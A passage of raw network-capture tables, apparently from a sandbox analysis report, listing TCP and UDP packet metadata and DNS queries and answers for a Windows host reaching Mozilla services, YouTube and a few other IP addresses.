Nov 12, 2024 05:04:00.233572006 CET	443	50068	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.233661890 CET	50068	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.235013962 CET	50068	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.235023975 CET	443	50068	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.264370918 CET	443	50064	35.244.181.201	192.168.2.5
Nov 12, 2024 05:04:00.265531063 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:04:00.270457983 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:04:00.270462990 CET	443	50064	35.244.181.201	192.168.2.5
Nov 12, 2024 05:04:00.270662069 CET	443	50064	35.244.181.201	192.168.2.5
Nov 12, 2024 05:04:00.272840023 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:04:00.272922039 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:04:00.272955894 CET	443	50064	35.244.181.201	192.168.2.5
Nov 12, 2024 05:04:00.273284912 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:04:00.273296118 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:04:00.278211117 CET	80	50061	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:00.278279066 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:00.297370911 CET	443	50065	34.160.144.191	192.168.2.5
Nov 12, 2024 05:04:00.299493074 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:04:00.423384905 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:04:00.423398972 CET	443	50065	34.160.144.191	192.168.2.5
Nov 12, 2024 05:04:00.423604012 CET	443	50065	34.160.144.191	192.168.2.5
Nov 12, 2024 05:04:00.435446978 CET	50060	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.440037966 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.441116095 CET	80	50060	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:00.442301989 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:04:00.442362070 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:04:00.442440987 CET	443	50065	34.160.144.191	192.168.2.5
Nov 12, 2024 05:04:00.443327904 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.444897890 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:00.445643902 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:04:00.445645094 CET	50060	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.445657969 CET	50062	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.445703983 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.445810080 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.450579882 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:00.472111940 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:00.472553015 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:00.477216005 CET	80	50061	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:00.477346897 CET	80	50070	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:00.479001045 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:00.479053020 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:00.479548931 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:00.484397888 CET	80	50070	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:00.580209970 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.585145950 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:00.587925911 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.588221073 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:00.593193054 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:00.798458099 CET	443	50066	142.250.185.78	192.168.2.5
Nov 12, 2024 05:04:00.798532963 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:04:00.799179077 CET	443	50066	142.250.185.78	192.168.2.5
Nov 12, 2024 05:04:00.799438953 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:04:00.802742004 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:04:00.802747965 CET	443	50066	142.250.185.78	192.168.2.5
Nov 12, 2024 05:04:00.802829981 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:04:00.802905083 CET	443	50066	142.250.185.78	192.168.2.5
Nov 12, 2024 05:04:00.802975893 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:04:00.828294992 CET	443	50067	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.828371048 CET	50067	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.833547115 CET	50067	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.833554029 CET	443	50067	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.833620071 CET	50067	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.833678961 CET	443	50067	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.833770990 CET	50067	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.840506077 CET	443	50068	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.840581894 CET	50068	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.845323086 CET	50068	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.845330000 CET	443	50068	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.845419884 CET	50068	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.845470905 CET	443	50068	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.845525026 CET	50068	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.003184080 CET	50072	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.003217936 CET	443	50072	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:01.003758907 CET	50072	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.005148888 CET	50072	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.005162001 CET	443	50072	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:01.041610003 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:01.106555939 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:01.184995890 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:01.238076925 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:01.381500959 CET	80	50070	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:01.381603003 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.382697105 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.387515068 CET	80	50070	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:01.420350075 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:01.425318956 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:01.546597004 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:01.592504978 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:01.610106945 CET	443	50072	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:01.610199928 CET	50072	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.614790916 CET	50072	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.614799976 CET	443	50072	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:01.614927053 CET	50072	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.614944935 CET	443	50072	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:01.615322113 CET	50073	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.615351915 CET	443	50073	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:01.615385056 CET	50072	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.615439892 CET	50073	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.616791010 CET	50073	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:01.616806030 CET	443	50073	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:01.665309906 CET	80	50070	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:01.665370941 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.779079914 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.779407978 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.784241915 CET	80	50074	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:01.784431934 CET	80	50070	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:01.787250996 CET	50070	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.787266970 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.787560940 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:01.792325974 CET	80	50074	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:02.231930017 CET	443	50073	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:02.232007980 CET	50073	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:02.235687971 CET	50073	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:02.235696077 CET	443	50073	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:02.235804081 CET	50073	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:02.235821962 CET	443	50073	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:02.235948086 CET	50073	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:02.717782974 CET	80	50074	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:02.717850924 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:02.718578100 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:02.723438025 CET	80	50074	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:03.012109995 CET	80	50074	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:03.012238026 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:03.131241083 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:03.131556988 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:03.136475086 CET	80	50074	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:03.136490107 CET	80	50075	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:03.136543036 CET	50074	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:03.136590004 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:03.136727095 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:03.141484976 CET	80	50075	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:03.626509905 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:03.631429911 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:03.751111031 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:03.800777912 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:04.070352077 CET	80	50075	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:04.070442915 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.073402882 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.078178883 CET	80	50075	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:04.363337040 CET	80	50075	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:04.363426924 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.469744921 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.470078945 CET	50076	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.474901915 CET	80	50076	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:04.474920988 CET	80	50075	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:04.475332975 CET	50075	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.475342035 CET	50076	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.475478888 CET	50076	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:04.480190992 CET	80	50076	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:05.381524086 CET	80	50076	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:05.381630898 CET	50076	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:05.458986044 CET	50076	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:05.459336996 CET	50077	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:05.464392900 CET	80	50077	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:05.464406013 CET	80	50076	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:05.464742899 CET	50076	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:05.464765072 CET	50077	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:05.464930058 CET	50077	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:05.469666958 CET	80	50077	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:06.369461060 CET	80	50077	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:06.369543076 CET	50077	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:06.482945919 CET	50077	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:06.483237982 CET	50078	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:06.488060951 CET	80	50078	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:06.488157034 CET	50078	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:06.488243103 CET	80	50077	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:06.488307953 CET	50077	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:06.488418102 CET	50078	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:06.493227005 CET	80	50078	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:07.401297092 CET	80	50078	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:07.401361942 CET	50078	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:04:11.563596964 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:11.568487883 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:13.764786005 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:13.769598961 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:21.584976912 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:21.589870930 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:23.787463903 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:23.792465925 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:31.617058039 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:31.621988058 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:33.794450998 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:33.799380064 CET	80	50071	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:41.650099039 CET	50069	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:41.655086994 CET	80	50069	34.107.221.82	192.168.2.5
Nov 12, 2024 05:04:43.817981958 CET	50071	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:04:43.822937012 CET	80	50071	34.107.221.82	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 05:03:16.380665064 CET	56205	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:16.387890100 CET	53	56205	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:16.404314995 CET	52819	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:16.411978006 CET	53	52819	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:17.441768885 CET	54247	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:17.448641062 CET	53	54247	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:17.452131033 CET	62601	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:17.458729982 CET	53	62601	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:17.460289955 CET	53596	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:17.467248917 CET	53	53596	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:17.975102901 CET	55077	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:17.983320951 CET	63192	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:17.990237951 CET	53	63192	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.003954887 CET	60211	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.010725975 CET	53	60211	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.810313940 CET	50993	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.816881895 CET	53	50993	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.822552919 CET	61233	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.828355074 CET	64759	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.829022884 CET	53	61233	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.832575083 CET	54005	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.835057974 CET	53	64759	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.839473963 CET	60473	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.846541882 CET	53	60473	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.860956907 CET	58588	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.862421989 CET	65287	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.872816086 CET	53	65287	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.872827053 CET	53	58588	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.873953104 CET	61048	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.881043911 CET	53	61048	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:18.888192892 CET	61355	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:18.895076990 CET	53	61355	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:19.778265953 CET	62253	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:19.784919024 CET	53	62253	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:19.785742998 CET	49441	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:19.792444944 CET	53	49441	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:20.194117069 CET	62944	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:20.200649977 CET	53	62944	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:20.205212116 CET	57656	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:20.212153912 CET	53	57656	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:20.255351067 CET	56107	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:20.262445927 CET	53	56107	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:20.436480999 CET	63344	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:20.460923910 CET	53	58667	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:42.667516947 CET	56675	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:42.674160957 CET	53	56675	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:42.704976082 CET	55394	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:42.711096048 CET	51322	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:42.718390942 CET	53	51322	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:57.915671110 CET	55398	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:57.922698021 CET	53	55398	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:58.990858078 CET	56880	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:58.997448921 CET	53	56880	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:59.000590086 CET	57027	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:59.003005028 CET	54482	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:59.007307053 CET	53	57027	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:59.580843925 CET	57878	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:59.587447882 CET	53	57878	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:59.608580112 CET	64606	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:59.615816116 CET	53	64606	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:59.634537935 CET	60031	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:59.641367912 CET	53	60031	1.1.1.1	192.168.2.5
Nov 12, 2024 05:03:59.656845093 CET	53031	53	192.168.2.5	1.1.1.1
Nov 12, 2024 05:03:59.663803101 CET	53	53031	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 05:03:16.380665064 CET	192.168.2.5	1.1.1.1	0xff13	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:16.404314995 CET	192.168.2.5	1.1.1.1	0x1d4c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:17.441768885 CET	192.168.2.5	1.1.1.1	0x6aef	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:17.452131033 CET	192.168.2.5	1.1.1.1	0xa6fd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:17.460289955 CET	192.168.2.5	1.1.1.1	0xe564	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 12, 2024 05:03:17.975102901 CET	192.168.2.5	1.1.1.1	0x6eaf	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:17.983320951 CET	192.168.2.5	1.1.1.1	0x50d2	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.003954887 CET	192.168.2.5	1.1.1.1	0x9d02	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:18.810313940 CET	192.168.2.5	1.1.1.1	0x880f	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.822552919 CET	192.168.2.5	1.1.1.1	0x2b5e	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.828355074 CET	192.168.2.5	1.1.1.1	0xd5ae	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.832575083 CET	192.168.2.5	1.1.1.1	0x8c19	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.839473963 CET	192.168.2.5	1.1.1.1	0xfe23	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.860956907 CET	192.168.2.5	1.1.1.1	0xc646	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 12, 2024 05:03:18.862421989 CET	192.168.2.5	1.1.1.1	0xaf47	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.873953104 CET	192.168.2.5	1.1.1.1	0x439b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.888192892 CET	192.168.2.5	1.1.1.1	0x7ece	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:19.778265953 CET	192.168.2.5	1.1.1.1	0x710	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:19.785742998 CET	192.168.2.5	1.1.1.1	0xb87a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:20.194117069 CET	192.168.2.5	1.1.1.1	0xbacc	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:20.205212116 CET	192.168.2.5	1.1.1.1	0x354f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:20.255351067 CET	192.168.2.5	1.1.1.1	0x5b24	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:20.436480999 CET	192.168.2.5	1.1.1.1	0x1a21	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:42.667516947 CET	192.168.2.5	1.1.1.1	0x7788	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:42.704976082 CET	192.168.2.5	1.1.1.1	0x8532	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:42.711096048 CET	192.168.2.5	1.1.1.1	0x277	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 12, 2024 05:03:57.915671110 CET	192.168.2.5	1.1.1.1	0x134c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:58.990858078 CET	192.168.2.5	1.1.1.1	0x47bd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:59.000590086 CET	192.168.2.5	1.1.1.1	0x87e4	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 12, 2024 05:03:59.003005028 CET	192.168.2.5	1.1.1.1	0xf886	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:59.580843925 CET	192.168.2.5	1.1.1.1	0xd638	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 12, 2024 05:03:59.608580112 CET	192.168.2.5	1.1.1.1	0xd54c	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 12, 2024 05:03:59.634537935 CET	192.168.2.5	1.1.1.1	0x5ff7	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:59.656845093 CET	192.168.2.5	1.1.1.1	0x8671	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 05:03:16.358541012 CET	1.1.1.1	192.168.2.5	0xbedd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:16.387890100 CET	1.1.1.1	192.168.2.5	0xff13	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:17.448641062 CET	1.1.1.1	192.168.2.5	0x6aef	No error (0)	youtube.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:17.458729982 CET	1.1.1.1	192.168.2.5	0xa6fd	No error (0)	youtube.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:17.467248917 CET	1.1.1.1	192.168.2.5	0xe564	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 12, 2024 05:03:17.982191086 CET	1.1.1.1	192.168.2.5	0x6eaf	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:17.982191086 CET	1.1.1.1	192.168.2.5	0x6eaf	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:17.990237951 CET	1.1.1.1	192.168.2.5	0x50d2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.010725975 CET	1.1.1.1	192.168.2.5	0x9d02	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 12, 2024 05:03:18.816881895 CET	1.1.1.1	192.168.2.5	0x880f	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
